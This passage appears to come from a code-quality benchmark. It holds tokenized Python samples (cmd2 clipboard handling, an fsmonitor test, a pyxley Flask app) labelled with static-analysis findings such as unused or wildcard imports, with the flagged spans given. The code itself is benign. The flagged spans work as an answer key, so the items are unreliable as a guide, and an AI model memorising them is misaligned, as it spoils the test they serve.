"/", "python", "3", "/", "3.2", "/", "lib", "/", "python", "3.2", "/", "site", "-", "package", "s", "/", "pyparsing", "-1", ".5", ".6", "-", "py3", ".2", ".", "egg", "/", "pyparsing", ".", "py", "(", "999", ")", "scan", "String", "()", "\\", "10", ";", "->", " ", "next", "Loc", ",", "token", "s", " ", "=", " ", "parse", "Fn", "(", " ", "instr", "ing", ",", " ", "prelo", "c", ",", " ", "call", "Pre", "Pars", "e", "=", "Fal", "se", " ", ")", "\\", "10", ";", "(", "Pd", "b", ")", " ", "n", "\\", "10", ";", "Name", "Error", ":", " ", "global", " ", "name", " ", "'", "exc", "'", " ", "is", " ", "not", " ", "defin", "ed", "\\", "10", ";", "\\", "10", ";", "(", "Pd", "b", ")", " ", "parse", "Fn", "\\", "10", ";<", "bound", " ", "method", " ", "Or", ".\\u", "parse", "Cache", " ", "of", " ", "{", "Pyth", "on", " ", "style", " ", "comment", " ", "^", " ", "C", " ", "style", " ", "comment", "}>", "\\", "10", ";", "\\", "10", ";", "Bug", " ", "report", " ", "filed", ":", " ", "https", "://", "sourcef", "org", "e", ".", "net", "/", "track", "er", "/?", "func", "=", "deta", "il", "&", "ati", "d", "=", "617", "311", "&", "aid", "=", "338", "143", "9", "&", "group", "\\u", "id", "=", "972", "03", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "optparse_", "._", "Values_", "._", "get_", "=_", "\\u", "attr", "\\u", "get", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "options", "\\u", "defined_", "=_", "[_", "]_", "#", " ", "used", " ", "to", " ", "distinguish", " ", "--", "options", " ", "from", " ", "SQL", "-", "style", " ", "--", "comments_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "paste", "buffer", "r_", "=_", "\"\"\"", "Redirect", "ing", " ", "to", " ", "or", " ", "from", " ", "paste", " ", "buffer", " ", "require", "s", " ", "%", "s", "\\", "10", ";", "to", " ", "be", " ", "install", "ed", " ", "on", " ", "operati", "ng", " ", "system", ".", "\\", "10", ";", "%", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "subprocess_", "._", "ms", "windows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "win32", "clipboard_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "write", "\\u", "to", "\\u", "paste", "\\u", "buffer_", "=_", "get", "\\u", "paste", "\\u", "buffer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "sys_", "._", "platform_", "==_", "'", "dar", "win", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "can", "\\u", "clip_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "test", " ", "for", " ", "pbc", "opy", " ", "-", " ", "AF", "AI", "K", ",", " ", "shou", "ld", " ", "alw", "ay", "s", " ", "be", " ", "install", "ed", " ", "on", " ", "Mac", "OS_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subprocess_", "._", "check", "\\u", "call_", "(_", "'", "pbc", "opy", " ", "-", "help", "'_", ",_", "shell_", "=_", "True_", ",_", "stdout_", "=_", "subprocess_", "._", "PIPE_", ",_", "stdin_", "=_", "subprocess_", "._", "PIPE_", ",_", "stderr_", "=_", "subprocess_", "._", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "can", "\\u", "clip_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "subprocess_", "._", "Call", "ed", "Process", "Error_", ",_", "OSE", "rror_", ",_", "IO", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "can", "\\u", "clip_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "write", "\\u", "to", "\\u", "paste", "\\u", "buffer_", "=_", "get", "\\u", "paste", "\\u", "buffer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "can", "\\u", "clip_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subprocess_", "._", "check", "\\u", "call_", "(_", "'", "xc", "lip", " ", "-", "o", " ", "-", "sel", " ", "clip", "'_", ",_", "shell_", "=_", "True_", ",_", "stdout_", "=_", "subprocess_", "._", "PIPE_", ",_", "stdin_", "=_", "subprocess_", "._", "PIPE_", ",_", "stderr_", "=_", "subprocess_", "._", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "can", "\\u", "clip_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "#", " ", "check", "\\u", "call", " ", "not", " ", "defin", "ed", ",", " ", "Pyth", "on", " ", "<", " ", "2.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tests", "tring_", "=_", "'", "Test", "ing", " ", "for", " ", "presen", "ce", " ", "of", " ", "xc", "lip", ".'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xc", "lip", "proc_", "=_", "subprocess_", "._", "Popen_", "(_", "'", "xc", "lip", " ", "-", "sel", " ", "clip", "'_", ",_", "shell_", "=_", "True_", ",_", "stdout_", "=_", "subprocess_", "._", "PIPE_", ",_", "stdin_", "=_", "subprocess_", "._", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xc", "lip", "proc_", "._", "stdin_", "._", "write_", "(_", "tests", "tring_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xc", "lip", "proc_", "._", "stdin_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xc", "lip", "proc_", "=_", "subprocess_", "._", "Popen_", "(_", "'", "xc", "lip", " ", "-", "o", " ", "-", "sel", " ", "clip", "'_", ",_", "shell_", "=_", "True_", ",_", "stdout_", "=_", "subprocess_", "._", "PIPE_", ",_", "stdin_", "=_", "subprocess_", "._", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "xc", "lip", "proc_", "._", "stdout_", "._", "read_", "(_", ")_", "==_", "tests", "tring_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "can", "\\u", "clip_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "#", " ", "hat", "e", " ", "a", " ", "bare", " ", "Except", "ion", " ", "call", ",", " ", "but", " ", "exception", " ", "classe", "s", " ", "vary", " ", "too", " ", "muc", "h", " ", "b", "/", "t", " ", "stdlib", " ", "versions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "#", " ", "somet", "hing", " ", "wen", "t", " ", "wrong", " ", "with", " ", "xc", "lip", " ", "and", " ", "we", " ", "cann", "ot", " ", "use", " ", "it_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "can", "\\u", "clip_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "write", "\\u", "to", "\\u", "paste", "\\u", "buffer_", "=_", "get", "\\u", "paste", "\\u", "buffer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pyparsing", "_", "._", "Parser", "Element_", "._", "set", "Default", "Whitespace", "Chars_", "(_", "'", " ", "\\\\", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doctest_", "._", "testmod_", "(_", "option", "flags_", "=_", "doctest_", "._", "NORMALIZ", "E", "\\u", "WHITESPACE", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "'''", "\\", "10", ";", "To", " ", "make", " ", "your", " ", "applica", "tion", " ", "transcri", "pt", "-", "testa", "ble", ",", " ", "replace", "\\", "10", ";", "\\", "10", ";", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", "app", " ", "=", " ", "My", "App", "()", "\\", "10", ";", " ", " ", "app", ".", "cmd", "loop", "()", "\\", "10", ";", "\\", "10", ";", "with", "\\", "10", ";", "\\", "10", ";", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", "app", " ", "=", " ", "My", "App", "()", "\\", "10", ";", " ", " ", "cmd", "2", ".", "run", "(", "app", ")", "\\", "10", ";", "\\", "10", ";", "The", "n", " ", "run", " ", "a", " ", "session", " ", "of", " ", "your", " ", "applica", "tion", " ", "and", " ", "paste", " ", "the", " ", "entire", " ", "screen", " ", "content", "s", "\\", "10", ";", "int", "o", " ", "a", " ", "file", ",", " ", "``", "transcri", "pt", ".", "test", "``", ",", " ", "and", " ", "invoke", " ", "the", " ", "test", " ", "like", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", "python", " ", "myapp", ".", "py", " ", "--", "test", " ", "transcri", "pt", ".", "test", "\\", "10", ";", "\\", "10", ";", "Wildcard", "s", " ", "can", " ", "be", " ", "used", " ", "to", " ", "test", " ", "against", " ", "multiple", " ", "transcri", "pt", " ", "files", ".", "\\", "10", ";'", "''_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
'import *' may pollute namespace
shaurz/fsmonitor/tests/test3.py
[ { "content": "import os, time, errno\nfrom test import *\nfrom fsmonitor import *\n\ntry:\n test.add_dir_watch(\"/this/path/does/not/exist\")\nexcept FSMonitorError as e:\n assert e.errno == errno.ENOENT\nelse:\n assert False, \"Expected exception\"\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from test import *", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "'", "import", " ", "*'_", "may", "_", "poll", "ute", "_", "namespace_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "os_", ",_", "time_", ",_", "errno_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fsm", "oni", "tor_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test_", "._", "add", "\\u", "dir\\u", "watch_", "(_", "\"/", "this", "/", "path", "/", "doe", "s", "/", "not", "/", "exist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "FSM", "oni", "tor", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "e_", "._", "errno_", "==_", "errno_", "._", "ENOENT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "False_", ",_", "\"", "Expect", "ed", " ", "exception", "\"_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
stitchfix/pyxley/examples/metricsgraphics/project/app.py
[ { "content": "from flask import Flask\nfrom flask import request, jsonify, render_template, make_response\nimport pandas as pd\nimport json\nimport sys\nimport glob\nimport numpy as np\nimport argparse\n\nfrom pyxley import UILayout\nfrom pyxley.filters import SelectButton\nfrom pyxley.charts.mg import LineChart, Figure, ScatterPlot, Histogram\nfrom pyxley.charts.datatables import DataTable\nfrom collections import OrderedDict\n\nparser = argparse.ArgumentParser(description=\"Flask Template\")\nparser.add_argument(\"--env\", help=\"production or local\", default=\"local\")\nargs = parser.parse_args()\n\nTITLE = \"Pyxley\"\n\nscripts = []\n\ncss = [\"./css/main.css\"]\n\n# Make a UI\nui = UILayout(\n \"FilterChart\",\n \"pyxley\",\n \"component_id\",\n filter_style=\"''\")\n\n# Read in the data and stack it, so that we can filter on columns\ndf = pd.read_csv(\"project/fitbit_data.csv\")\nsf = df.set_index(\"Date\").stack().reset_index()\nsf = sf.rename(columns={\"level_1\": \"Data\", 0: \"value\"})\n\n# Make a Button\ncols = [c for c in df.columns if c != \"Date\"]\nbtn = SelectButton(\"Data\", cols, \"Data\", \"Steps\")\n\n# Make a FilterFrame and add the button to the UI\nui.add_filter(btn)\n\n# Make a Figure, add some settings, make a line plot\nfig = Figure(\"/mgchart/\", \"mychart\")\nfig.graphics.transition_on_update(True)\nfig.graphics.animate_on_load()\nfig.layout.set_size(width=450, height=200)\nfig.layout.set_margin(left=40, right=40)\nlc = LineChart(sf, fig, \"Date\", [\"value\"], init_params={\"Data\": \"Steps\"}, timeseries=True)\nui.add_chart(lc)\n\n# Now make a FilterFrame for the histogram\nhFig = Figure(\"/mghist/\", \"myhist\")\nhFig.layout.set_size(width=450, height=200)\nhFig.layout.set_margin(left=40, right=40)\nhFig.graphics.animate_on_load()\n# Make a histogram with 20 bins\nhc = Histogram(sf, hFig, \"value\", 20, init_params={\"Data\": \"Steps\"})\nui.add_chart(hc)\n\n# Let's play with our input\ndf[\"Date\"] = pd.to_datetime(df[\"Date\"])\ndf[\"week\"] = df[\"Date\"].apply(lambda x: x.isocalendar()[1])\ngf = df.groupby(\"week\").agg({\n \"Date\": [np.min, np.max],\n \"Steps\": np.sum,\n \"Calories Burned\": np.sum,\n \"Distance\": np.sum\n }).reset_index()\nf = lambda x: '_'.join(x) if (len(x[1]) > 0) and x[1] != 'sum' else x[0]\ngf.columns = [f(c) for c in gf.columns]\ngf = gf.sort_index(by=\"week\", ascending=False)\ngf[\"Date_amin\"] = gf[\"Date_amin\"].apply(lambda x: x.strftime(\"%Y-%m-%d\"))\ngf[\"Date_amax\"] = gf[\"Date_amax\"].apply(lambda x: x.strftime(\"%Y-%m-%d\"))\n\ncols = OrderedDict([\n (\"week\", {\"label\": \"Week\"}),\n (\"Date_amin\", {\"label\": \"Start Date\"}),\n (\"Date_amax\", {\"label\": \"End Date\"}),\n (\"Calories Burned\", {\"label\": \"Calories Burned\"}),\n (\"Steps\", {\"label\": \"Steps\"}),\n (\"Distance\", {\"label\": \"Distance (mi)\", \"format\": \"%5.2f\"})\n])\n\ntb = DataTable(\"mytable\", \"/mytable/\", gf, columns=cols, paging=True, pageLength=5)\nui.add_chart(tb)\n\napp = Flask(__name__)\nsb = ui.render_layout(app, \"./project/static/layout.js\")\n\n# Create a webpack file and bundle our javascript\nfrom pyxley.utils import Webpack\nwp = Webpack(\".\")\nwp.create_webpack_config(\n \"layout.js\",\n \"./project/static/\",\n \"bundle\",\n \"./project/static/\"\n)\nwp.run()\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@app.route('/', methods=[\"GET\"])\[email protected]('/index', methods=[\"GET\"])\ndef index():\n _scripts = [\"./bundle.js\"]\n return render_template('index.html',\n title=TITLE,\n base_scripts=scripts,\n page_scripts=_scripts,\n css=css)", "metadata": "root.index", "header": "['module', '___EOS___']", "index": 104 } ]
[ { "span": "from flask import request, jsonify, render_template, make_response", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 66 }, { "span": "import json", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 11 }, { "span": "import sys", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 10 }, { "span": "import glob", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 11 }, { "span": "from pyxley.charts.mg import LineChart, Figure, ScatterPlot, Histogram", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 70 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "flask_", "import_", "Flask_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "flask_", "import_", "request_", ",_", "jsonify_", ",_", "render", "\\u", "template_", ",_", "make", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pandas_", "as_", "pd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "glob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyx", "ley", "_", "import_", "UI", "Layout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyx", "ley", "_", "._", "filters_", "import_", "Select", "Button_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyx", "ley", "_", "._", "charts", "_", "._", "mg_", "import_", "Line", "Chart_", ",_", "Figure_", ",_", "Scatter", "Plot_", ",_", "Histogram", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyx", "ley", "_", "._", "charts", "_", "._", "datata", "bles_", "import_", "Data", "Table_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "collections_", "import_", "Order", "ed", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "description_", "=_", "\"", "Fla", "sk", " ", "Templa", "te", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "\"--", "env", "\"_", ",_", "help_", "=_", "\"", "producti", "on", " ", "or", " ", "local", "\"_", ",_", "default_", "=_", "\"", "local", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "TITLE_", "=_", "\"", "Py", "xl", "ey", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "scripts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "css_", "=_", "[_", "\"./", "css", "/", "main", ".", "css", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "a", " ", "UI_", "\\u\\u\\uNL\\u\\u\\u_", "ui_", "=_", "UI", "Layout_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Filter", "Char", "t", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "pyx", "ley", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "component", "\\u", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "filter", "\\u", "style_", "=_", "\"''\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Read", " ", "in", " ", "the", " ", "data", " ", "and", " ", "stack", " ", "it", ",", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "filter", " ", "on", " ", "columns_", "\\u\\u\\uNL\\u\\u\\u_", "df_", "=_", "pd_", "._", "read", "\\u", "csv_", "(_", "\"", "project", "/", "fit", "bit", "\\u", "data", ".", "csv", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sf_", "=_", "df_", "._", "set\\u", "index_", "(_", "\"", "Date", "\"_", ")_", "._", "stack_", "(_", ")_", "._", "reset", "\\u", "index_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sf_", "=_", "sf_", "._", "rename_", "(_", "columns_", "=_", "{_", "\"", "level", "\\u", "1", "\"_", ":_", "\"", "Data", "\"_", ",_", "0_", ":_", "\"", "value", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "a", " ", "Button_", "\\u\\u\\uNL\\u\\u\\u_", "cols_", "=_", "[_", "c_", "for_", "c_", "in_", "df_", "._", "columns_", "if_", "c_", "!=_", "\"", "Date", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "btn_", "=_", "Select", "Button_", "(_", "\"", "Data", "\"_", ",_", "cols_", ",_", "\"", "Data", "\"_", ",_", "\"", "Step", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "a", " ", "Filter", "Frame", " ", "and", " ", "add", " ", "the", " ", "button", " ", "to", " ", "the", " ", "UI_", "\\u\\u\\uNL\\u\\u\\u_", "ui_", "._", "add", "\\u", "filter_", "(_", "btn_", ")_", 